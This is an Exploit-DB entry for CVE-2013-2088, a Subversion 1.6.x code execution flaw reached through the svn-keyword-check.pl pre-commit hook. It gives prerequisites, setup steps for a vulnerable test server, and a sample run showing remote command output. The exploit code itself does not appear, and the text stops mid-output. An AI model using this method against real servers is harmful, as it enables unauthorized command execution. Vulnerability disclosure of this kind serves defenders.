Exploit-DB #40507
Description: Subversion 1.6.6/1.6.12 - Code Execution
Type: remote
Platform: linux
Date: 2016-10-12
Author: GlacierZ0ne

Exploit:
#  This is an exploit for the subversion vulnerability published as CVE-2013-2088.

#  Author: GlacierZ0ne (kai@ktechnologies.de)
#  Exploit Type: Code Execution
#  Access Type: Authenticated Remote Exploit
#  Prerequisites: svn command line client available,
#               subversion server exposes webdav through apache,
#               user/password with commit privilege

#  The exploit has been tested with the following software:

#  * subversion 1.6.6 server on Ubuntu 10.06 server 64-bit
#  * subversion 1.6.12 (r955767) on Ubuntu 11.10 server 32-bit
#  * subversion client version 1.8.8 (r1568071) on Ubuntu 14.04 64-bit

#  The following conditions need to be met in order for this to work:

#  The pre-commit script svn-keyword-check.pl needs to be configured as
#  pre-commit hook. The version shipped with the subversion 1.6.6 contains
#  a bug which prevents it from being used at all. This bug must be fixed
#  (otherwise neither the exploit, nor the intented purpose of the script
#  will work)
#  This perl script can be downloaded from the archive source distribution
#  at http://archive.apache.org/dist/subversion/. Scripts before 1.6.23
#  are vulnerable.

#  ###############################################################

#  1. configure the pre-commit hook to use svn-keyword-check.pl

#  ###############################################################
#  Copy the svn-keyword-check.pl from the source distribution to the
#  /svn/repos/<your repository>/hooks directory. Rename pre-commit.tmpl
#  to pre-commit. Make sure both files are owned by the user running
#  apache (e.g. www-data) and have the executable flag set:
#
#  notroot@ubuntu:/$ cd /svn/repositories/testrepo/hooks
#  notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo mv pre-commit.tmpl pre-commit
#  notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo chmod +x pre-commit
#  notroot@ubuntu:/svn/repos/testrepo/hooks$ ls -al
#  total 76
#  drwxr-xr-x 2 www-data www-data 4096 2016-09-30 13:35 .
#  drwxr-xr-x 7 www-data www-data 4096 2016-09-05 16:28 ..
#  -rw-r--r-- 1 www-data www-data 2000 2016-09-05 15:23 post-commit.tmpl
#  -rw-r--r-- 1 www-data www-data 1663 2016-09-05 15:23 post-lock.tmpl
#  -rw-r--r-- 1 www-data www-data 2322 2016-09-05 15:23 post-revprop-change.tmpl
#  -rw-r--r-- 1 www-data www-data 1592 2016-09-05 15:23 post-unlock.tmpl
#  -rwxr-xr-x 1 www-data www-data  604 2016-09-30 13:32 pre-commit
#  -rw-r--r-- 1 www-data www-data  609 2016-09-05 19:10 pre-commit.tmpl
#  -rw-r--r-- 1 www-data www-data 2410 2016-09-05 15:23 pre-lock.tmpl
#  -rw-r--r-- 1 www-data www-data 2796 2016-09-05 15:23 pre-revprop-change.tmpl
#  -rw-r--r-- 1 www-data www-data 2100 2016-09-05 15:23 pre-unlock.tmpl
#  -rw-r--r-- 1 www-data www-data 2830 2016-09-05 15:23 start-commit.tmpl
#  -rwxr-xr-x 1 www-data www-data 8340 2016-09-30 13:35 svn-keyword-check.pl
#  notroot@ubuntu:/svn/repos/testrepo/hooks$ 

#  According to the subversion documentation, svn-keyword-check.pl needs
#  to be called by pre-commit. svn-keyword-check.pl will return 1 if it
#  detects something that should prevent the commit. In that case, the
#  subversion server will cancel the commit. Here's how pre-commit looked
#  on my test server:

#  notroot@ubuntu:/svn/repos/testrepo/hooks$ cat pre-commit
#  #!/bin/sh

#  REPOS="$1"
#  TXN="$2"

#  # Make sure that the log message contains some text.
#  #jSVNLOOK=/usr/bin/svnlook
#  $SVNLOOK log -t "$TXN" "$REPOS" | \
#  ep "[a-zA-Z0-9]" > /dev/null || exit 1
#  
#  # Exit on all errors.
#  set -e
#  
#  # Check the files that are are listed in "svnlook changed" (except deleted
#  # files) for possible problems with svn:keywords set on binary files.
#  "$REPOS"/hooks/svn-keyword-check.pl --repos $REPOS --transaction $TXN
#  #
#  #
#  #
#  
#  # All checks passed, so allow the commit.
#  exit 0
#  
#  ###############################################################
#  
#  2. fix the bug in svn-keyword-check.pl
#  
#  ###############################################################
#  The script pre-commit will pass on repository and transaction to
#  the script svn-keyword-check.pl. Alternatively, it also accepts
#  repository and revision. However, specifying both transaction
#  and revision is illegal, only one of them is considered legal.
#  This reflects in the input parameter plausibility check
#   performed in line 89:
#  
#  if (defined($transaction) and !defined($revision)) {
#      croak "Can't define both revision and transaction!\n";
#  }
#  
#  Unfortunately, there is an exclamation mark too much. It must
#  be
#  
#  if (defined($transaction) and defined($revision)) {
#      croak "Can't define both revision and transaction!\n";
#  }
#  
#  The way this script is shipped in the 1.6.6 source distribution
#  no commit is possible at all.
#  
#  Before using the exploit you should first commit one file
#  manually so that the svn client can store your user/password
#  locally.
#  
#  Then, open a shell and navigate to the directory of your project
#  and start python cve-2013-2088-1.py <command>:
#
#  kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py ifconfig
#  [+] Randfilename is mJHeSkya
#  [+] Created random file
#  [+] Submitted random file to version control
#  [+] Created fake file for cmd execution
#  [+] Exploit seems to work: 
#
#  eth0      Link encap:Ethernet  HWaddr 00:0c:29:08:a3:1a  
#            inet addr:192.168.26.136  Bcast:192.168.26.255  Mask:255.255.255.0
#            inet6 addr: fe80::20c:29ff:fe08:a31a/64 Scope:Link
#            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
#            RX packets:1060 errors:0 dropped:0 overruns:0 frame:0
#            TX packets:806 errors:0 dropped:0 overruns:0 carrier:0
#            collisions:0 txqueuelen:1000 
#            RX bytes:172042 (172.0 KB)  TX bytes:136684 (136.6 KB)
#
#  lo        Link encap:Local Loopb